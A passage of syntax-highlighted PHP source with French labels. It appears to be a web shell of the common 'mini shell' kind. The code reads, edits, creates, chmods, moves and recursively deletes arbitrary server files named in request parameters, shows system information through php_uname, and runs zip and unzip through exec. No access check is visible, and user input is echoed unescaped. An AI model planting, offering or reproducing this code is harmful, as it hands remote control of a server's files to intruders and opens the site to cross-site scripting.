<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span><span style="color: #008000">file_exists</span>(<span style="color: #19177C">$creaFichier</span>)) {
<span style="color: #19177C">$anse</span> <span style="color: #666666">=</span> <span style="color: #008000">fopen</span>(<span style="color: #19177C">$creaFichier</span>,<span style="color: #BA2121">'c+'</span>); <span style="color: #19177C">$ducontenu</span><span style="color: #666666">=</span><span style="color: #BA2121">'Exemple de contenu'</span>; <span style="color: #008000">fwrite</span>(<span style="color: #19177C">$anse</span>,<span style="color: #19177C">$ducontenu</span>); <span style="color: #008000">fclose</span>(<span style="color: #19177C">$anse</span>);
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Ajout fichier réussi!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Ajout fichier échoué!</strong></font><br>'</span>;
}
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<form method="POST"></span>
<span style="color: #BA2121">Créer un <em>fichier</em> avec chemin absolu <input type="text" name="creafichier" value="'</span> <span style="color: #666666">.</span> <span style="color: #008000">realpath</span>(<span style="color: #19177C">$path</span>) <span style="color: #666666">.</span> <span style="color: #BA2121">'/fichier.txt"></span>
<span style="color: #BA2121"><input type="submit" value="Enregistrer"></span>
<span style="color: #BA2121"></form>'</span>;
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<br><br>'</span> <span style="color: #666666">.</span> <span style="color: #008000">php_uname</span>() <span style="color: #666666">.</span> <span style="color: #BA2121">'</span>
<span style="color: #BA2121"></td></tr>'</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'filesrc'</span>]) <span style="color: #666666">&&</span> <span style="color: #008000">isset</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'telechargefichier'</span>])) { telFichBin(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'filesrc'</span>]); }
<span style="color: #008000; font-weight: bold">elseif</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'filesrc'</span>])) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">"<tr><td>Fichiers >> "</span>;
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'filesrc'</span>];
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'</td></tr></table><br>'</span>;
<span style="color: #19177C">$ext_fich</span> <span style="color: #666666">=</span> substr(<span style="color: #008000">strrchr</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'filesrc'</span>],<span style="color: #BA2121">'.'</span>),<span style="color: #666666">1</span>);
<span style="color: #19177C">$media_ext_liste</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'jpg'</span>,<span style="color: #BA2121">'png'</span>,<span style="color: #BA2121">'gif'</span>,<span style="color: #BA2121">'ico'</span>,<span style="color: #BA2121">'pdf'</span>,<span style="color: #BA2121">'mp3'</span>,<span style="color: #BA2121">'wav'</span>,<span style="color: #BA2121">'webp'</span>,<span style="color: #BA2121">'heic'</span>,<span style="color: #BA2121">'heif'</span>,<span style="color: #BA2121">'mp4'</span>,<span style="color: #BA2121">'mov'</span>,<span style="color: #BA2121">'hevf'</span>,<span style="color: #BA2121">'av1'</span>);
<span style="color: #19177C">$binaire_ext_liste</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">array</span>(<span style="color: #BA2121">'zip'</span>,<span style="color: #BA2121">'gz'</span>,<span style="color: #BA2121">'doc'</span>,<span style="color: #BA2121">'docx'</span>,<span style="color: #BA2121">'xls'</span>,<span style="color: #BA2121">'xlsx'</span>,<span style="color: #BA2121">'ppt'</span>,<span style="color: #BA2121">'pptx'</span>,<span style="color: #BA2121">'odt'</span>,<span style="color: #BA2121">'ods'</span>,<span style="color: #BA2121">'odp'</span>,<span style="color: #BA2121">'rtf'</span>,<span style="color: #BA2121">'pages'</span>,<span style="color: #BA2121">'numbers'</span>,<span style="color: #BA2121">'key'</span>);
<span style="color: #008000; font-weight: bold">if</span>(<span style="color: #008000">in_array</span>(<span style="color: #19177C">$ext_fich</span> , <span style="color: #19177C">$media_ext_liste</span>)) { <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<p><form method="POST" action="?filesrc='</span><span style="color: #666666">.</span><span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'filesrc'</span>]<span style="color: #666666">.</span><span style="color: #BA2121">'&path='</span><span style="color: #666666">.</span><span style="color: #19177C">$path</span><span style="color: #666666">.</span><span style="color: #BA2121">'&telechargefichier=1"><input class="milieu" type="submit" value="Télécharger le fichier"></form></p><iframe class="milieu" width="700" height="700" src="'</span> <span style="color: #666666">.</span>cheminWeb(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'filesrc'</span>])<span style="color: #666666">.</span> <span style="color: #BA2121">'"></iframe>'</span>; }
<span style="color: #008000; font-weight: bold">elseif</span>(<span style="color: #008000">in_array</span>(<span style="color: #19177C">$ext_fich</span> , <span style="color: #19177C">$binaire_ext_liste</span>)) { telFichBin(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'filesrc'</span>]); }
<span style="color: #008000; font-weight: bold">else</span> {<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<p><form method="POST" action="?filesrc='</span><span style="color: #666666">.</span><span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'filesrc'</span>]<span style="color: #666666">.</span><span style="color: #BA2121">'&path='</span><span style="color: #666666">.</span><span style="color: #19177C">$path</span><span style="color: #666666">.</span><span style="color: #BA2121">'&telechargefichier=1"><input class="milieu" type="submit" value="Télécharger le fichier"></form></p><pre>'</span> <span style="color: #666666">.</span> <span style="color: #008000">htmlspecialchars</span>(<span style="color: #008000">file_get_contents</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'filesrc'</span>]), <span style="color: #19177C">ENT_QUOTES</span>, <span style="color: #BA2121">'UTF-8'</span>) <span style="color: #666666">.</span> <span style="color: #BA2121">'</pre>'</span>;}
}
<span style="color: #008000; font-weight: bold">elseif</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'option'</span>]) <span style="color: #666666">&&</span> (<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'chmod'</span><span style="color: #666666">||</span><span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'rename'</span><span style="color: #666666">||</span><span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'move'</span><span style="color: #666666">||</span><span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'edit'</span>)) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'</table><p class="centre milieu">'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>] <span style="color: #666666">.</span> <span style="color: #BA2121">'<br><br>'</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'chmod'</span>) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'perm'</span>])) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">chmod</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>], intval(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'perm'</span>],<span style="color: #BA2121">8</span>))) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Changer permission réussi!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Changer permission échoué!</strong></font><br>'</span>;
}
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<form class="centre milieu" method="POST"></span>
<span style="color: #BA2121">Permission : <input name="perm" type="text" size="4" value="'</span> <span style="color: #666666">.</span> substr(<span style="color: #008000">sprintf</span>(<span style="color: #BA2121">'%o'</span>, <span style="color: #008000">fileperms</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>])) , <span style="color: #666666">-4</span>) <span style="color: #666666">.</span> <span style="color: #BA2121">'"></span>
<span style="color: #BA2121"><input type="hidden" name="path" value="'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>] <span style="color: #666666">.</span> <span style="color: #BA2121">'"></span>
<span style="color: #BA2121"><input type="hidden" name="opt" value="chmod"></span>
<span style="color: #BA2121"><input type="submit" value="Enregistrer"></span>
<span style="color: #BA2121"></form></span>
<span style="color: #BA2121"><p class="centre">ATTENTION, notation octale, entrer les 4 chiffres comme 0644 ou 0705.</p>'</span>;
}
<span style="color: #008000; font-weight: bold">elseif</span> (<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'rename'</span>) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'newname'</span>])) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">rename</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>], <span style="color: #19177C">$path</span> <span style="color: #666666">.</span> <span style="color: #BA2121">'/'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'newname'</span>])) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Changer nom réussi!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Changer nom échoué!</strong></font><br>'</span>;
}
<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'name'</span>] <span style="color: #666666">=</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'newname'</span>];
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<form class="centre milieu" method="POST"></span>
<span style="color: #BA2121">Nouveau nom : <input name="newname" type="text" size="30" value="'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'name'</span>] <span style="color: #666666">.</span> <span style="color: #BA2121">'"></span>
<span style="color: #BA2121"><input type="hidden" name="path" value="'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>] <span style="color: #666666">.</span> <span style="color: #BA2121">'"></span>
<span style="color: #BA2121"><input type="hidden" name="opt" value="rename"></span>
<span style="color: #BA2121"><input type="submit" value="Enregistrer"></span>
<span style="color: #BA2121"></form>'</span>;
}
<span style="color: #008000; font-weight: bold">elseif</span> (<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'move'</span>) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'deplace'</span>])) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">rename</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>], <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'deplace'</span>])) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Déplacement du fichier réussi!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Déplacement du fichier échoué!</strong></font><br>'</span>;
}
<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>] <span style="color: #666666">=</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'deplace'</span>];
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<form class="centre milieu" method="POST"></span>
<span style="color: #BA2121">Déplacer le fichier vers : <input name="deplace" type="text" size="30" value="'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$path</span> <span style="color: #666666">.</span> <span style="color: #BA2121">'/'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'name'</span>] <span style="color: #666666">.</span> <span style="color: #BA2121">'"></span>
<span style="color: #BA2121"><input type="hidden" name="path" value="'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>] <span style="color: #666666">.</span> <span style="color: #BA2121">'"></span>
<span style="color: #BA2121"><input type="hidden" name="opt" value="move"></span>
<span style="color: #BA2121"><input type="submit" value="Enregistrer"></span>
<span style="color: #BA2121"></form></span>
<span style="color: #BA2121"><p class="centre">ATTENTION, mettre le chemin absolu avec le nom du fichier ou du dossier.</p>'</span>;
}
<span style="color: #008000; font-weight: bold">elseif</span> (<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'edit'</span>) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'src'</span>])) {
<span style="color: #19177C">$fp</span> <span style="color: #666666">=</span> <span style="color: #008000">fopen</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>], <span style="color: #BA2121">'w'</span>);
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">fwrite</span>(<span style="color: #19177C">$fp</span>, <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'src'</span>])) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Modifier réussi!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Modifier échoué!</strong></font><br>'</span>;
}
<span style="color: #008000">fclose</span>(<span style="color: #19177C">$fp</span>);
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<form class="centre milieu" method="POST"></span>
<span style="color: #BA2121"><textarea cols=80 rows=20 name="src">'</span> <span style="color: #666666">.</span> <span style="color: #008000">htmlspecialchars</span>(<span style="color: #008000">file_get_contents</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>]), <span style="color: #19177C">ENT_QUOTES</span>, <span style="color: #BA2121">'UTF-8'</span>) <span style="color: #666666">.</span> <span style="color: #BA2121">'</textarea><br></span>
<span style="color: #BA2121"><input type="hidden" name="path" value="'</span> <span style="color: #666666">.</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>] <span style="color: #666666">.</span> <span style="color: #BA2121">'"></span>
<span style="color: #BA2121"><input type="hidden" name="opt" value="edit"></span>
<span style="color: #BA2121"><input type="submit" value="Enregistrer"></span>
<span style="color: #BA2121"></form>'</span>;
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'</p>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'</table><br><p class="milieu centre">'</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'option'</span>]) <span style="color: #666666">&&</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'delete'</span>) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'type'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'dir'</span>) {
<span style="color: #008000; font-weight: bold">foreach</span> (<span style="color: #008000; font-weight: bold">new</span> RecursiveIteratorIterator(<span style="color: #008000; font-weight: bold">new</span> RecursiveDirectoryIterator(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>],
FilesystemIterator<span style="color: #666666">::</span><span style="color: #7D9029">SKIP_DOTS</span> <span style="color: #666666">|</span> FilesystemIterator<span style="color: #666666">::</span><span style="color: #7D9029">UNIX_PATHS</span>),
RecursiveIteratorIterator<span style="color: #666666">::</span><span style="color: #7D9029">CHILD_FIRST</span>) <span style="color: #008000; font-weight: bold">as</span> <span style="color: #19177C">$value</span>) {
<span style="color: #19177C">$value</span><span style="color: #666666">-></span><span style="color: #7D9029">isFile</span>() <span style="color: #666666">?</span> <span style="color: #008000">unlink</span>(<span style="color: #19177C">$value</span>) <span style="color: #666666">:</span> <span style="color: #008000">rmdir</span>(<span style="color: #19177C">$value</span>);
}
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">rmdir</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>])) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Supprimer réussi!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Supprimer échoué!</strong></font><br>'</span>;
}
}
<span style="color: #008000; font-weight: bold">elseif</span> (<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'type'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'file'</span>) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">unlink</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>])) {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Supprimer fichier réussi!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Supprimer fichier échoué!</strong></font><br>'</span>;
}
}
}
<span style="color: #008000; font-weight: bold">elseif</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'option'</span>]) <span style="color: #666666">&&</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'zip'</span>) {
<span style="color: #19177C">$ficCompress</span> <span style="color: #666666">=</span> <span style="color: #008000">escapeshellcmd</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>]);
<span style="color: #008000">exec</span>(<span style="color: #BA2121">"zip -qr -6 "</span><span style="color: #666666">.</span><span style="color: #19177C">$ficCompress</span><span style="color: #666666">.</span><span style="color: #BA2121">".zip "</span><span style="color: #666666">.</span><span style="color: #19177C">$ficCompress</span><span style="color: #666666">.</span><span style="color: #BA2121">""</span>);
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Compression réussie!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">elseif</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$_GET</span>[<span style="color: #BA2121">'option'</span>]) <span style="color: #666666">&&</span> <span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'opt'</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">'unzip'</span>) {
<span style="color: #19177C">$extFic</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> SplFileInfo(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>]);
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$extFic</span><span style="color: #666666">-></span><span style="color: #7D9029">getExtension</span>() <span style="color: #666666">==</span> <span style="color: #BA2121">'zip'</span>) {
<span style="color: #19177C">$ficCompress</span> <span style="color: #666666">=</span> <span style="color: #008000">escapeshellcmd</span>(<span style="color: #19177C">$_POST</span>[<span style="color: #BA2121">'path'</span>]);
<span style="color: #008000">exec</span>(<span style="color: #BA2121">"unzip -q "</span><span style="color: #666666">.</span><span style="color: #19177C">$ficCompress</span><span style="color: #666666">.</span><span style="color: #BA2121">" -d "</span><span style="color: #666666">.</span><span style="color: #19177C">$path</span><span style="color: #666666">.</span><span style="color: #BA2121">""</span>);
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">Décompression réussie!</font><br>'</span>;
}
<span style="color: #008000; font-weight: bold">else</span> {
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson"><strong>Décompression échouée! Il faut un fichier ZIP</strong></font><br>'</span>;
}
}
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'</p>'</span>;
<span style="color: #19177C">$scandir</span> <span style="color: #666666">=</span> <span style="color: #008000">scandir</span>(<span style="color: #19177C">$path</span>);
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center"></span>
<span style="color: #BA2121"><tr class="first"></span>
<span style="color: #BA2121"><td class="centre">Nom</td></span>
<span style="color: #BA2121"><td class="centre">Taille</td></span>
<span style="color: #BA2121"><td class="centre">Permissions</td></span>
<span style="color: #BA2121"><td class="centre">Actions</td></span>
<span style="color: #BA2121"></tr>'</span>;
<span style="color: #008000; font-weight: bold">foreach</span> (<span style="color: #19177C">$scandir</span> <span style="color: #008000; font-weight: bold">as</span> <span style="color: #19177C">$dir</span>) {
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span><span style="color: #008000">is_dir</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$dir</span><span style="color: #BA2121">"</span>) <span style="color: #666666">||</span> <span style="color: #19177C">$dir</span> <span style="color: #666666">==</span> <span style="color: #BA2121">'.'</span> <span style="color: #666666">||</span> <span style="color: #19177C">$dir</span> <span style="color: #666666">==</span> <span style="color: #BA2121">'..'</span>) <span style="color: #008000; font-weight: bold">continue</span>;
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">"<tr></span>
<span style="color: #BA2121"><td><a href=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">?path=</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$dir</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span><span style="color: #BB6688; font-weight: bold">$dir</span><span style="color: #BA2121"></a></td></span>
<span style="color: #BA2121"><td class=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">petit centre</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>--</td></span>
<span style="color: #BA2121"><td class=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">petit centre</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>"</span>;
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">is_writable</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$dir</span><span style="color: #BA2121">"</span>)) <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="green">'</span>;
<span style="color: #008000; font-weight: bold">elseif</span> (<span style="color: #666666">!</span><span style="color: #008000">is_readable</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$dir</span><span style="color: #BA2121">"</span>)) <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'<font color="crimson">'</span>;
<span style="color: #008000; font-weight: bold">echo</span> perms(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$dir</span><span style="color: #BA2121">"</span>);
<span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">is_writable</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$dir</span><span style="color: #BA2121">"</span>) <span style="color: #666666">||</span> <span style="color: #666666">!</span><span style="color: #008000">is_readable</span>(<span style="color: #BA2121">"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$dir</span><span style="color: #BA2121">"</span>)) <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">'</font>'</span>;
<span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">"</td></span>
<span style="color: #BA2121"><td class=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">centre</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">><form method=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">POST</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> action=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">?option&path=</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"><select name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">opt</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">Que faire?</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Que faire?</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">rename</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Renommer</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">move</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Déplacer</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">chmod</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Chmod</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">zip</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Compresser</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">unzip</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Décompresser</option></span>
<span style="color: #BA2121"><option value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">delete</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">>Supprimer</option></span>
<span style="color: #BA2121"></select></span>
<span style="color: #BA2121"><input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">hidden</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">type</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">dir</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"><input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">hidden</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">name</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BB6688; font-weight: bold">$dir</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"><input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">hidden</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> name=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">path</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BB6688; font-weight: bold">$path</span><span style="color: #BA2121">/</span><span style="color: #BB6688; font-weight: bold">$dir</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"><input type=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">submit</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121"> value=</span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span><span style="color: #BB6622; font-weight: bold">\"</span><span style="color: #BA2121">></span>
<span style="color: #BA2121"></form></td></span>
<span style="color: #BA2121"></tr>"</span>;
}
